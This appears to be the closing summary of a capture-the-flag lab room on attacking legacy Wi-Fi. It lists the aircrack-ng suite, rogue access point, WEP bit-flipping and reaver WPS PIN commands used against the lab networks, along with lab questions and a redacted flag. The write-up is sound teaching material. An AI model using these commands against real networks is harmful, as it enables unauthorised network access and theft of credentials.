<!DOCTYPE html>
<html>
<head>
    <title>WiFi Router Configuration</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
...
Welcome admin<br><br>Flag: <button onclick="copyFlagToClipboard('THM{REDACTED}')">THM{REDACTED}</button>
Answer the questions below
What is the WPS PIN of Event-WiFi?
What is the WPA2 passphrase recovered through WPS?
What is the flag from the WPS network?

Both of the networks in this room would have been overlooked if we had only brought tools for current protocols. We recovered the key of one network from captured traffic in seconds, then took the same key a second time from a station without ever contacting the access point, and a third time with a search that ran only on the lab machine. The eighteen-character passphrase of the other network came from its own access point, and each of the two networks gave us a router flag.

In this room, we used the following techniques:

  • Targeted vector collection: We used airodump-ng -c 3 --bssid F0:9F:C2:71:22:11 -w wep wlan0mon to pin the radio to one channel and one , and we watched the #Data column to measure our progress, without using the Beacons column for this.
  • Fake authentication and ARP request replay: We used aireplay-ng -1 0 to have the access point accept 02:00:00:00:00:00 as a station, and then aireplay-ng -3 to replay a captured ARP request at around 500 packets per second, with each copy drawing a reply that carried a fresh vector. Home-Legacy is busy enough that it does not need the replay, so it is a safe network for us to practise the technique on before we meet a quiet network that does.
  • Forging traffic without the key: We used aireplay-ng -5 to walk a recovered keystream up to 1500 bytes by having the access point reassemble the fragments we fed it, and packetforge-ng -0 turned that keystream into a valid encrypted ARP request. Then, we injected the forged request with aireplay-ng -2 -F at 800 frames a second until the capture held enough initialisation vectors to recover the key. The network itself had generated almost none of the vectors in that capture.
  • Taking the key from the client: We used hostapd-mana on wlan4 to answer to Home-Legacy while aireplay-ng -0 evicted 64:32:A8:56:32:56 from the real access point. The station then associated with our rogue access point and began asking after its gateway. A verbatim replay of that request produced almost nothing, because the station is not the address being asked about. Once we bit-flipped the encrypted request to ask after the station's own address, every flipped copy drew a reply carrying a fresh vector. We did not contact the real network at any point, and the capture held only frames from the station and our rogue access point. After that, aircrack-ng recovered the same key from this capture.
  • Statistical key recovery: We ran aircrack-ng -b F0:9F:C2:71:22:11 wep-01.cap over 35,732 vectors, and the PTW attack explained in the How WEP Works and Why It Failed task returned the 40-bit key in a few seconds. The line Decrypted correctly: 100% confirmed that this was the live key.
  • Reading the cipher out of a frame: We used tshark -T fields -e wlan.wep.iv to print the three public bytes from each encrypted frame, and we could see each transmitter running its own counter upward. Then, we used wep-decrypt.py to seed RC4 with IV || key, decrypt a real frame and match its CRC32 against the four trailing bytes. We can use this same check as an oracle when we do not yet know the key.
  • Bit-flipping without the key: We used wep-bitflip.py to flip eight bits deep inside a captured frame and derive the matching ICV correction from the mask alone, and the receiver accepted the forged frame as intact.
  • Association with a raw key: wpa_passphrase could not generate a configuration for this network, so we wrote homelegacy.conf by hand. The file sets key_mgmt=NONE and wep_tx_keyidx=0, and holds the ten hexadecimal characters of the key in wep_key0. After that, we used wpa_supplicant on wlan1 and dhclient to take a lease on 192.168.1.0/24.
  • Exhausting a narrowed keyspace: We used wepicv.py to treat the CRC32 check as a test oracle and try candidate keys against one captured frame. The full forty-bit keyspace is out of reach for a search like this, but a keyspace narrowed by what we already know from the assessment is small enough to work through. The script stopped on the first candidate whose checksum verified. After that, airdecap-ng decrypted wep-01.cap with the recovered key and reported none of its WEP data packets as corrupt.
  • Enumeration behind the key: We used nmap -sn 192.168.1.0/24 to find the gateway, our new lease and one other client at 192.168.1.54. The panel at 192.168.1.1 opened to the default admin credentials over curl and released its flag. The same network had also reused the WEP key as a service password.
  • WPS PIN recovery: We used wash -i wlan0mon to see Event-WiFi running WPS 2.0 on channel 8 with its Lck column clear. Then, we spent one exchange on Pixie Dust with reaver -b F0:9F:C2:71:22:13 -c 8 -K, and it failed because this access point generates its nonces properly. Next, we ran the same tool without -K, and since the PIN was the best-known factory default, the tool recovered it in two seconds. The access point returned the WPA PSK along with the PIN, so we put the PSK in event.conf, took a lease on 192.168.3.0/24 and recovered a second flag at 192.168.3.1.

The attack on Home-Legacy did not test the strength of the WEP key. The key was computed from the traffic, so its length only decided how long the capture had to run. The attack on Event-WiFi did not test the strength of the WPA2 passphrase either, since we never attacked the passphrase at all and the access point gives it to anyone who holds the WPS PIN. That PIN is a far shorter credential than the passphrase, and it had been left at its factory value. Equipment often stays in use after the standard it shipped with is out of date. For example, a single controller that has been forgotten about can keep a whole site on the kind of setup we attacked in this room. If we come across a configuration like this during an assessment, the passphrase policy of the network will make no difference to these attacks.

What's Next

Attacking Weak and Misconfigured EAP (coming soon) looks at which enterprise authentication methods fail and which ones hold. In that room, we will read EAP-MD5 off the air and crack it with hashcat mode 4800. We will watch EAP-TLS refuse every technique used in the Attacking Enterprise Wi-Fi room. Then, we will steal the certificate authority's private key.

It is a good idea to run the collection stage against Home-Legacy a second time, starting the capture with no replay alongside it. While it runs, we can note the rate at which #Data climbs on its own. After that, we can start aireplay-ng and watch what the injection adds. Comparing the two rates helps us decide whether a network needs injection at all. We can make the same kind of decision about a target, where we choose between a brute force and one guess at the default PIN.

Answer the questions below
Click Complete to finish the room.